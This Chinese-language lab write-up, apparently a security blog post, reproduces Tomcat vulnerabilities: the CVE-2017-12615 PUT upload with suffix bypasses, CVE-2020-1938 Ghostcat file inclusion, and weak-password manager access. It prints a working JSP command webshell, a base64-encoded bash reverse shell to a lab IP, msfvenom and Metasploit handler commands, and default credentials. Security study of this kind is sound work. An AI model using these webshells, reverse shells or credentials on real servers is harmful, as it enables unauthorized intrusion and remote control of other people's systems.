Tomcat漏洞复现

0x01:Tomcat目录结构

1. 一级目录

bin ——Tomcat执行脚本目录
conf ——Tomcat配置文件
lib ——Tomcat运行需要的库文件(JARS)
logs ——Tomcat执行时的LOG文件
temp ——Tomcat临时文件存放目录
webapps ——Tomcat的主要Web发布目录(存放我们自己的JSP,SERVLET,类)
work ——Tomcat的工作目录,Tomcat将翻译JSP文件到的Java文件和class文件放在这里。

2. 二级目录

(1) bin目录下的文件

 catalina.sh 用于启动和关闭tomcat服务器
 configtest.sh 用于检查配置文件
 startup.sh 启动Tomcat脚本
 shutdown.sh 关闭Tomcat脚本

(2) conf目录下的文件

 server.xml Tomcat的全局配置文件
 web.xml 为不同的Tomcat配置的web应用设置缺省值的文件
 tomcat-users.xml Tomcat用户认证的配置文件

(3) lib目录下的文件

包含被Tomcat使用的各种各样的jar文件。

(4) logs目录下的文件

 localhost_access_log.2013-09-18.txt 访问日志
 localhost.2013-09-18.log 错误和其它日志
 manager.2013-09-18.log 管理日志
 catalina.2013-09-18.log Tomcat启动或关闭日志文件

(5) webapps目录下的文件

含Web应用的程序(JSP、Servlet和JavaBean等)

(6) work目录下的文件

​ 由Tomcat自动生成,这是Tomcat放置它运行期间的中间(intermediate)文件(诸如编译的JSP文件)地方。如果当Tomcat运行时,你删除了这个目录那么将不能够执行包含JSP的页面。

0x02:Tomcat PUT方法任意写文件漏洞(CVE-2017-12615)

1. 漏洞原理

​ 该漏洞称之为Tomcat PUT方法任意写文件漏洞,类似IIS的PUT上传漏洞。该漏洞可以利用HTTP的PUT方法直接上传webshell到目标服务器,从而获取权限。漏洞的产生是由于配置不当(非默认配置),将配置文件(conf/web.xml)中的readonly设置为了false,导致可以使用PUT方法上传任意文件,但限制了jsp后缀,不过对于不同平台有多种绕过方法。

​ 漏洞只影响Windows环境,且需要将readonly初始化参数由默认值设置为false,默认配置下无此漏洞,鸡肋漏洞。

​ 本次 Apache Tomcat 两个 CVE 漏洞涉及到 DefaultServlet 和 JspServlet,DefaultServlet 的作用是处理静态文件 ,JspServlet 的作用是处理 jsp 与 jspx 文件的请求,同时 DefaultServlet 可以处理 PUT 或 DELETE 请求,以下是默认配置情况:

Tomcat漏洞复现

除了 jsp 和 jspx 默认是由 org.apache.jasper.servlet.JspServlet 处理,其他默认都是由org.apache.catalina.servlets.DefaultServlet 来处理。

可以看出即使设置 readonly 为 false,默认 tomcat 也不允许 PUT 上传 jsp 和 jspx 文件的,因为后端都用org.apache.jasper.servlet.JspServlet 来处理 jsp 或是 jspx 后缀的请求了,而 JspServlet 中没有 PUT 上传的逻辑,PUT 的代码实现只存在于 DefaultServlet 中。

这个漏洞的根本是通过构造特殊后缀名,绕过了 tomcat 检测,让它用 DefaultServlet 的逻辑去处理请求,从而上传 jsp 文件。

2. 影响版本

​ 影响范围:7.0.0 – 7.0.79

3. 漏洞复现

Tomcat漏洞复现

因为该漏洞是将配置文件(conf/web.xml)中的readonly设置为了false,导致可以使用PUT方法上传任意文件,我们进入docker查看readonly的值是否为False。

Tomcat漏洞复现

我们讲请求方式改成PUT,

Tomcat漏洞复现

成功将文件通过PUT方式传输进去

Tomcat漏洞复现

我们尝试上传jsp文件。这是不允许的。

Tomcat漏洞复现

这个时候就需要绕过了

3.1 绕过上传jsp

对于这种情况可以有多种方式绕过

方法一:Windows下不允许文件以空格结尾
PUT /x.jsp%20 HTTP/1.1

上传到windows会被自动去掉末尾空格

方法二:WindowsNTFS流
PUT /x.jsp::$DATA HTTP/1.1
方法三:文件后面加斜杠(好活)

/在文件名中是非法的,也会被去除(Linux/Windows)

PUT /x.jsp/ HTTP/1.1

Tomcat漏洞复现

成功上传

Tomcat漏洞复现

正常访问

Tomcat漏洞复现

3.2 上传Webshell

上传冰蝎的Webshell

Tomcat漏洞复现

或者上传一句话木马

<%@ page import="java.util.*,java.io.*"%>
<%
if (request.getParameter("cmd") != null) {
        out.println("Command: " + request.getParameter("cmd") + "<BR>");
        Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
        OutputStream os = p.getOutputStream();
        InputStream in = p.getInputStream();
        DataInputStream dis = new DataInputStream(in);
        String disr = dis.readLine();
        while ( disr != null ) {
                out.println(disr); 
                disr = dis.readLine(); 
                }
        }
%>

Tomcat漏洞复现

4. 修复方法

/conf/web.xml将readonly的值修改为true

0x03:Aapache Tomcat AJP 文件包含漏洞(CVE-2020-1938)

1. 漏洞原理

​ 由于 Tomcat AJP 协议设计上存在缺陷,攻击者通过 Tomcat AJP Connector 可以读取或包含 Tomcat 上所有 webapp 目录下的任意文件,例如可以读取 webapp 配置文件或源代码。此外如果网站应用提供文件上传的功能,攻击者可以先向服务端上传一个内容含有恶意 JSP 脚本代码的文件(上传的文件本身可以是任意类型的文件,比如图片、纯文本文件等),然后利用 Ghostcat 漏洞进行文件包含,从而达到代码执行的危害。

2. 影响版本

Apache Tomcat 9.x < 9.0.31
Apache Tomcat 8.x < 8.5.51
Apache Tomcat 7.x < 7.0.100
Apache Tomcat 6.x

3. 漏洞复现

3.1 读取文件

通过脚本自动化读取文件,但是该脚本只能读取到webapps/ROOT目录下的文件

python CNVD-2020-10487-Tomcat-Ajp-lfi.py 192.168.88.133 -p 8009 -f a.txt

Tomcat漏洞复现

3.2 配合文件上传getshell

​ 众所周知,文件包含可以和文件上传配合一起达到getshell的目的,如果系统存在文件上传的功能,获取可以配合起来。我们将反弹shell的脚本放在webapps/ROOT目录下。脚本内容如下,修改反弹shell的语句即可。

<%
   java.io.InputStream in = Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljg4LjEzMy8xMjM0IDA+JjEK}|{base64,-d}|{bash,-i}").getInputStream();
    int a = -1;
    byte[] b = new byte[2048];
    out.print("<pre>");
    while((a=in.read(b))!=-1){
        out.println(new String(b));
    }
    out.print("</pre>");
%>

放置在webapps/ROOT目录下。

Tomcat漏洞复现

执行文件包含的脚本

Tomcat漏洞复现

收到反弹的shell

Tomcat漏洞复现

3.3 利用metasploit使用获取shell

msfvenom生成反弹shell的脚本

msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.88.133 LPORT=4444 R > shell.txt

复制到webapps/ROOT目录下。

msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload java/jsp_shell_reverse_tcp
msf6 exploit(multi/handler) > set lhost 192.168.88.133
msf6 exploit(multi/handler) > set lport 4444
msf6 exploit(multi/handler) > run 

然后执行文件包含的脚本

Tomcat漏洞复现

获取到shell

Tomcat漏洞复现

0x04:Tomcat7+ 弱口令 && 后台getshell漏洞

1. 漏洞原理

tomcat的后台登录的两个目录为:

/admin
/manager/html

如果版本过高,只有采用弱密码的方式进后台;

有些tomcat采用默认的用户名和密码(用户名:admin,密码:空);

或者我经常遇到的用户名:tomcat,密码:123456或者各种弱密码

2. 漏洞复现

点击manage app,输入tomcat/tomcat登录

Tomcat漏洞复现

进入后台

Tomcat漏洞复现

接着打个war包,我们将冰蝎的shell.jsp压缩成shell.zip,然后修改后缀变成shell.war,上传war包

Tomcat漏洞复现

冰蝎连接成功

Tomcat漏洞复现

上一篇:分享133个JSP源码,总有一款适合你


下一篇:JSP隐式对象